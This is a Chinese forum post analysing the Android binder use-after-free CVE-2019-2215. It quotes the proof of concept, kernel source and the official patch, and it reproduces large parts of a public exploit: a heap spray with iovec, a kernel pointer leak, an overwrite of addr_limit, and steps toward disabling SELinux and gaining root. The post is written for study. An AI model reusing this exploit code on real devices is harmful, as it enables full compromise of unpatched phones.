吾愛破解 - LCG - LSG |安卓破解|病毒分析|破解軟件|www.pyclye.live

 找回密碼
 注冊[Register]

QQ登錄

只需一步,快速開始

搜索
查看: 3049|回復: 34
上一主題 下一主題

[漏洞分析] CVE-2019-2215漏洞學習及利用

  [復制鏈接]
跳轉到指定樓層
樓主
三年三班三井壽 發表于 2019-12-31 21:04 回帖獎勵
本帖最后由 三年三班三井壽 于 2020-1-9 17:06 編輯

本貼僅作學習過程記錄,勿用作其他用途
很久不來發帖了,今年最后一天,還是寫點啥吧。我也是剛剛接觸安卓漏洞的小白,之前只接觸過一個水滴,若寫的不對,歡迎各位大佬指出,共同進步。

本貼主要針對git上開源的CVE-2019-2215 exp源碼以及該漏洞原理展開分析,當然該exp還有很大局限性,后續適配方面還得做很多工作。

漏洞介紹:
        CVE-2019-2215由Google公司Project Zero小組發現,并被該公司的威脅分析小組(TAG)確認其已用于實際攻擊中。TAG表示該漏洞利用可能跟一家出售漏洞和利用工具的以色列公司NSO有關,隨后NSO集團發言人公開否認與該漏洞存在任何關系。該漏洞實質是內核代碼一處UAF漏洞,成功利用可以造成本地權限提升,并有可能完全控制用戶設備。但要成功利用該漏洞,需要滿足某些特定條件。
漏洞詳情:  
直接看公開的一段概念證明:
[C] 純文本查看 復制代碼
#include <fcntl.h>
[/font][font=新宋體]#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main()
{
        int fd, epfd;
        struct epoll_event event = { .events = EPOLLIN };
        fd = open("/dev/binder0", O_RDONLY);
        epfd = epoll_create(1000);
        epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
        ioctl(fd, BINDER_THREAD_EXIT, NULL);
}


官方描述為:
[size=13.3333px]binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in

[size=13.3333px]a use-after-free.
原理其實很簡單,當使用epoll的線程調用
BINDER_THREAD_EXIT,binder_thread被釋放;而當進程結束或epoll主動調用EPOLL_CTL_DEL時,將會遍歷到釋放掉的binder_thread中的wait
[C] 純文本查看 復制代碼
struct binder_thread {
        struct binder_proc *proc;
        struct rb_node rb_node;
        struct list_head waiting_thread_node;
        int pid;
        int looper;              /* only modified by this thread */
        bool looper_need_return; /* can be written by other thread */
        struct binder_transaction *transaction_stack;
        struct list_head todo;
        bool process_todo;
        struct binder_error return_error;
        struct binder_error reply_error;
        wait_queue_head_t wait;
        struct binder_stats stats;
        atomic_t tmp_ref;
        bool is_dead;
        struct task_struct *task;
};
注意其等待隊列wait_queue_head_t,該字段正是觸發uaf的點,其結構如下:typedef struct __wait_queue_head wait_queue_head_t;

struct __wait_queue_head {
    spinlock_t      lock;
    struct list_head    task_list;
};

list_head就是個雙向鏈表但當進程退出的時候,或者是我們主動調用EPOLL_CTL_DEL時,epoll刪除操作會使用到binder_thread->wait,造成UAF。
[C] 純文本查看 復制代碼
static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
        int ret;
        struct binder_proc *proc = filp->private_data;
        struct binder_thread *thread;
        unsigned int size = _IOC_SIZE(cmd);
......
        case BINDER_THREAD_EXIT:
                binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
                             proc->pid, thread->pid);
                binder_thread_release(proc, thread);
                thread = NULL;
                break;
......
}

通過3.18.70內核源碼找到UAF free部分,binder_ioctl調用BINDER_THREAD_EXIT時,調用了binder_thread_release,有的內核代碼是直接調用的binder_free_thread。
最終在binder_free_thread中kfree掉thread。
[C] 純文本查看 復制代碼
static int binder_thread_release(struct binder_proc *proc,
                                 struct binder_thread *thread)
{
......
if (send_reply)
                binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
        binder_release_work(proc, &thread->todo);
        binder_thread_dec_tmpref(thread);
        return active_transactions;
......
}
/////////////////////////////////
static void binder_thread_dec_tmpref(struct binder_thread *thread)
{
......
                binder_free_thread(thread);
                return;
        }
......
}
///////////////////////////////
static void binder_free_thread(struct binder_thread *thread)
{
        BUG_ON(!list_empty(&thread->todo));
        binder_stats_deleted(BINDER_STAT_THREAD);
        binder_proc_dec_tmpref(thread->proc);
        put_task_struct(thread->task);
        kfree(thread);

}

after use部分,之前釋放的binder_thread在eppoll_entry中再次被使用
[C] 純文本查看 復制代碼
static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
{
        struct list_head *lsthead = &epi->pwqlist;
        struct eppoll_entry *pwq;
        while (!list_empty(lsthead)) {
                pwq = list_first_entry(lsthead, struct eppoll_entry, llink);
                list_del(&pwq->llink);
                ep_remove_wait_queue(pwq);
                kmem_cache_free(pwq_cache, pwq);
        }
}
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
......    whead = smp_load_acquire(&pwq->whead);
        if (whead)
                remove_wait_queue(whead, &pwq->wait);
......
}
void remove_wait_queue(wait_queue_head_t *q,wait_queue_t *wait)
{
......
        __remove_wait_queue(q, wait);
......
}

而此時的q指向的數據已經被釋放,觸發了內核崩潰。當然也有可能這片空間又被申請了或其他原因,導致q仍指向有效的數據,所以該poc并不能有效地判斷出自己手機上是否存在該漏洞__remove_wait_queue再往下看,EPOLL_CTL_DEL本質上就是一個鏈表的刪除操作,next->prev=prev。
[C] 純文本查看 復制代碼
static inline void __remove_wait_queue(wait_queue_head_t *head,wait_queue_t *old)
{       
 list_del(&old->task_list);
}
static inline void list_del(struct list_head *entry){   
     __list_del(entry->prev,entry->next);   
     entry->next = LIST_POISON1;      
  entry->prev = LIST_POSION2;
}
static inline void __list_del(struct list_head *prev,struct list_head *next){   
     next->prev=prev;       
 WRITE_ONCE(prev->next,next);
}



漏洞利用:     
測試手機為px2,內核版本4.4.155.     
利用的核心是用iovec這個結構體去占位釋放的binder_thread,該方法最早由keen實驗室提出。64位下iovec大小僅為0x10,可以很方便地控制我們所需要的字段以及kmalloc的大小,當然在適配過程中也存在wait與之未對齊的情況。

[C] 純文本查看 復制代碼
struct iovec{
     void *iov_base; /* Pointer to data. */
     size_t iov_len; /* Length of data. */
};

利用readv,wreitev time-of-check time-of-use機制繞過其對iov_base是否為用戶態地址的檢查,并kmalloc出空間對binder_thread進行占位
[C] 純文本查看 復制代碼
static ssize_t do_readv_writev(int type, struct file *file,
                               const struct iovec __user * uvector,
                               unsigned long nr_segs, loff_t *pos)
{
......
ret = rw_copy_check_uvector(type, uvector, nr_segs,
                                    ARRAY_SIZE(iovstack), iovstack, &iov);
......
}[/font][font=新宋體]///////////////////[/font][font=新宋體]ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
         unsigned long nr_segs, unsigned long fast_segs,
         struct iovec *fast_pointer,
         struct iovec **ret_pointer)[/font][font=新宋體]{[/font][font=新宋體]unsigned long seg;
 ssize_t ret;
 struct iovec *iov = fast_pointer;[/font]
[font=新宋體] /*
  * SuS says "The readv() function *may* fail if the iovcnt argument
  * was less than or equal to 0, or greater than {IOV_MAX}.  Linux has
  * traditionally returned zero for zero segments, so...
  */
 if (nr_segs == 0) {
  ret = 0;
  goto out;
 }[/font]
[font=新宋體] /*
  * First get the "struct iovec" from user memory and
  * verify all the pointers
  */
 if (nr_segs > UIO_MAXIOV) {
  ret = -EINVAL;
  goto out;
 }
 if (nr_segs > fast_segs) {
  iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
  if (iov == NULL) {
   ret = -ENOMEM;
   goto out;
  }
 }
 if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
[/font]
[font=新宋體]......[/font][font=新宋體]}[/font][font=新宋體]

leak info:
   直接看exp源碼,首先是內核信息泄露部分:
[C] 純文本查看 復制代碼
struct epoll_event event = { .events = EPOLLIN };
[/font][font=新宋體]  if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

  struct iovec iovec_array[IOVEC_ARRAY_SZ];
  memset(iovec_array, 0, sizeof(iovec_array));

  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
  iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;   int b;
 int pipefd[2];
 if (pipe(pipefd)) err(1, "pipe");
 if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
[/font]
[font=新宋體] static char page_buffer[0x1000];

首先根據binder_thread大小構造了個0x190/0x10個iovec,且只對iovec_array[0xa]以及iovec_array[0xa+1]進行了初始化操作。
在該內核中,wait在binder_thread 中的偏移為0xA0,iovec結構體大小為0x10,與之對應的即為iovec_array[0xa].iov_base。
該偏移可以在zImage中調用binder_thread->wait處利用IDA找到,有很多地方。之后設置pipe size為0x1000。
觸發時先調用BINDER_THREAD_EXIT釋放binder_thread,緊接著調用writev進行占位,內核調用kmalloc占位剛剛釋放的binder_thread。此時由于iovec_array數組0-9全為0,所以直接從iovec_array[0xa]進行寫入。
而iovec_array[0xa].iov_len剛好等于設置的管道的大小,且iovec_array[0xa+1].iov_base是未被申請的地址,所以在此阻塞住等待讀取。
接著子進程調用EPOLL_CTL_DEL,task_list進行鏈表unlink,iovec_array[0xa].iov_base被當作自旋鎖。
由于自旋鎖只占4字節,而我們可以傳入一個8字節的mmap出的地址,只要其低位全0則可以不造成崩潰。
iovec_array[0xa].iov_len以及iovec_array[0xa+1].iov_base則會被當做wait->task_list->next以及wait->task_list->prev,在unlink之后這兩個指針則會指向自己的task_list(即iovec_array[0xa].iov_len占位的位置),造成內核信息泄露。
子進程先讀取0x1000長度無效數據,并解除管道阻塞;
父進程再次調用readv讀取出指向wait->task_list的wait->task_list->prev通過binder_thread->wait->task_list加0xe8偏移獲取到最后的task_struct指針。

[Asm] 純文本查看 復制代碼
 if (fork_ret == 0){
[/size][/font][font=新宋體][size=3]    /* Child process */
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);
    printf("CHILD: Doing EPOLL_CTL_DEL.\n");
    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
    printf("CHILD: Finished EPOLL_CTL_DEL.\n");
    // first page: dummy data
    if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
    close(pipefd[1]);
    printf("CHILD: Finished write to FIFO.\n");

    exit(0);
  }
  //printf("PARENT: Calling READV\n");
  ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
  b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
  printf("writev() returns 0x%x\n", (unsigned int)b);
  // second page: leaked data
  if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");   printf("PARENT: Finished calling READV\n");
  int status;
  if (wait(&status) != fork_ret) err(1, "wait");[/size][/font]
[font=新宋體][size=3]  current_ptr = *(unsigned long *)(page_buffer + 0xe8);
[/size][/font]
[font=新宋體][size=3]  printf("current_ptr == 0x%lx\n", current_ptr);

在谷歌內核中,task_struct第一個字段為thread_info,thread_info中第二個字段addr_limit十分重要,它確保了用戶態無法傳遞內核指針。
[C] 純文本查看 復制代碼
struct task_struct {
[/size][/font][font=新宋體][size=3]#ifdef CONFIG_THREAD_INFO_IN_TASK
        /*
         * For reasons of header soup (see current_thread_info()), this
         * must be the first element of task_struct.
         */
        struct thread_info thread_info;
#endif
        volatile long state;        /* -1 unrunnable, 0 runnable, >0 stopped */
        void *stack;
        atomic_t usage;
        unsigned int flags;        /* per process flags, defined below */
        ......}
//////////////
struct thread_info{      
unsigned long flags;    
   mm_segment_t  addr_limit;      
......}


patch addr_limit:   
我們需要做的就是將其patch掉,也是第二次利用:   
[C] 純文本查看 復制代碼
struct epoll_event event = { .events = EPOLLIN };
  if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

  struct iovec iovec_array[IOVEC_ARRAY_SZ];
  memset(iovec_array, 0, sizeof(iovec_array));

  unsigned long second_write_chunk[] = {
    1, /* iov_len */
    0xdeadbeef, /* iov_base (already used) */
    0x8 + 2 * 0x10, /* iov_len (already used) */
    current_ptr + 0x8, /* next iov_base (addr_limit) */
    8, /* next iov_len (sizeof(addr_limit)) */
    0xfffffffffffffffe /* value to write */
  };

  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
  iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
  if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");   pid_t fork_ret = fork();
  if (fork_ret == -1) err(1, "fork");
  if (fork_ret == 0){
    /* Child process */
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);
    printf("CHILD: Doing EPOLL_CTL_DEL.\n");
    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
    printf("CHILD: Finished EPOLL_CTL_DEL.\n");
    if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
      err(1, "write second chunk to socket");
    exit(0);
  }
  ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
  struct msghdr msg = {
    .msg_iov = iovec_array,
    .msg_iovlen = IOVEC_ARRAY_SZ
  };
  int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
  printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,
      (unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
      iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
      iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));

和之前類似,先BINDER_THREAD_EXIT釋放,緊接著recvmsg使用iovec占位并阻塞住等待寫入。
此時,iovec_array[0xa]大小為1已經寫入,所以即使后面iov_len發生改變也沒有影響接下來,子進程調用EPOLL_CTL_DEL,unlink后,iovec_array[0xa].iov_len以及iovec_array[0xa+1].iov_base也都分別指向了自己的task_list(即iovec_array[0xa].iov_len占位的位置)當再次調用write寫入時,會將0x8 + 2 * 0x10大小的數據寫入iovec_array[0xa+1].iov_base指向處(即iovec_array[0xa].iov_len),寫入的內容是精心構造的。
即寫入iovec_array[0xa].iov_len=1,iovec_array[0xa+1].iov_base=0xDEADBEEF,iovec_array[0xa+1].iov_len=0x8 + 2 * 0x10,iovec_array[0xa+2].iov_base=current_ptr + 0x8,iovec_array[0xa+2].iov_len=8最后還剩一個長度為8的數據(0xfffffffffffffffe)將寫入iovec_array[0xa+2].iov_base,此時iovec_array[0xa+2].iov_base已經在前一步變為current_ptr + 0x8(addr_limit)。
至此,就patch了addr_limit,擁有了內核讀寫權限,接下來就是常規操作,通過符號表獲取一些地址的偏移,計算基址過掉kaslr,禁用selinux,提權balabala....


后續改進:     
適配過程中,主要的問題出在binder_thread結構中,比如看一下vivo_y15s的內核源碼,binder_thread結構最后不再有task_struct結構,使得該方案不再可行。
[C] 純文本查看 復制代碼
struct binder_thread {
[/size][/font][font=新宋體][size=3]        struct binder_proc *proc;
        struct rb_node rb_node;
        int pid;
        int looper;
        struct binder_transaction *transaction_stack;
        struct list_head todo;
        uint32_t return_error; /* Write failed, return error code in read buf */
        uint32_t return_error2; /* Write failed, return error code in read */
                /* buffer. Used when sending a reply to a dead process that */
                /* we are also waiting on */
        wait_queue_head_t wait;
        struct binder_stats stats;
#ifdef BINDER_PERF_EVAL
        struct binder_timeout_stats to_stats;
#endif
};
     因此,在無法直接patch掉addr_limit情況下,我們得找更加通用的信息泄露點來過掉kaslr。比如可以不選擇binder_thread泄露,而epoll EPOLL_CTL_ADD兩次,再EPOLL_CTL_DEL獲取到epoll附近的內存結構,再通過特征匹配獲取到epoll相關函數加載地址并計算出kernel_slide。passkaslr后再用比較通用的提權方法內核鏡像攻擊,偽造swapper_pg_dir,并將描述符寫入該地址。
     由于可以實現任意地址寫,所以上述方法也十分簡單。但當binder_thread->wait不再與iovec對齊,比如偏移為0x98時,就需要重新構造iovec,且其會同時影響到同一個iov_base和iov_len。針對這種情況,不知是否還能直接實現任意地址寫,又或者需要構建ROP鏈進行利用。望有研究過此洞的大佬告知
         

最后 附上官方補丁方案,只需在free掉binder_thread之前,清理一下thread->wait即可
[C] 純文本查看 復制代碼
diff --git a/drivers/android/binder.c b/drivers/android/binder.c
index a340766..2ef8bd2 100644
--- a/drivers/android/binder.c
+++ b/drivers/android/binder.c
@@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc,
                 if (t)
                         spin_lock(&t->lock);
         }
+
+        /*
+         * If this thread used poll, make sure we remove the waitqueue
+         * from any epoll data structures holding it with POLLFREE.
+         * waitqueue_active() is safe to use here because we're holding
+         * the inner lock.
+         */
+        if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
+            waitqueue_active(&thread->wait)) {
+                wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
+        }
+
         binder_inner_proc_unlock(thread->proc);
 
         if (send_reply)


2020.01.09
更一下,期間遇到了wait偏移未0x10對齊的情況,有0x98,0x48的,但都通過其他開源exp利用方式適配好了。信息泄露的點要想適配更多的話不能用exp中方案,最后還是通過泄露epoll周圍相關函數,利用內核鏡像攻擊進行的提權
參考鏈接
https://github.com/marcinguy/CVE-2019-2215/

https://bbs.pediy.com/thread-248444.htm
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b


免費評分

參與人數 24吾愛幣 +22 熱心值 +20 收起 理由
深尋 + 1 + 1 [email protected]!
ArnoD + 1 + 1 用心討論,共獲提升!
博林愛學 + 1 我很贊同!
you920928 + 1 + 1 [email protected]!
YIZU + 1 + 1 我很贊同!
uatlaosiji + 1 + 1 用心討論,共獲提升!
zhangchang + 1 + 1 用心討論,共獲提升!
yixi + 1 + 1 我很贊同!
Nachtmusik + 1 + 1 鼓勵轉貼優秀軟件安全工具和文檔!
deeplearning + 1 + 1 我很贊同!
poisonbcat + 1 + 1 [email protected]!
linrunqing521 + 1 用心討論,共獲提升!
PJS961219 + 1 [email protected]!
QGZZ + 1 + 1 [email protected]!
Tt2982 + 1 + 1 我很贊同!
Lugia + 1 + 1 [email protected]!
siuhoapdou + 1 + 1 用心討論,共獲提升!
gaosld + 1 + 1 用心討論,共獲提升!
sevfox + 1 我很贊同!
月六點年一倍 + 1 [email protected]!
Plus_0426 + 1 + 1 [email protected]!
星辰雨露 + 1 熱心回復!
Rodge100 + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
xingzhe1314 + 1 + 1 優秀的中國人

查看全部評分

發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

推薦
Plus_0426 發表于 2020-1-3 05:52
Thanks&#9834;(&#65381;ω&#65381;)&#65417;
沙發
miqi1314 發表于 2019-12-31 21:23
3#
nj001 發表于 2019-12-31 22:09
4#
judgecx 發表于 2020-1-1 00:02
前來觀看
5#
blindcat 發表于 2020-1-1 09:22
強,向樓主學習
6#
hs_f 發表于 2020-1-1 16:16
不斷學習!
7#
hs_f 發表于 2020-1-2 10:10
感謝分享!
8#
lsrh2000 發表于 2020-1-2 11:55
感謝分享!
努力學習ing
9#
cxydxy 發表于 2020-1-2 13:39

謝謝大佬。學習了。但是沒學懂
10#
hfw 發表于 2020-1-2 14:48
學習一下
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則 警告:禁止回復與主題無關內容,違者重罰!

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|聯系我們|吾愛破解 - LCG - LSG ( 京ICP備16042023號 | 京公網安備 11010502030087號 )

GMT+8, 2020-1-12 13:06

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回復 返回頂部 返回列表
腾讯二分彩骗局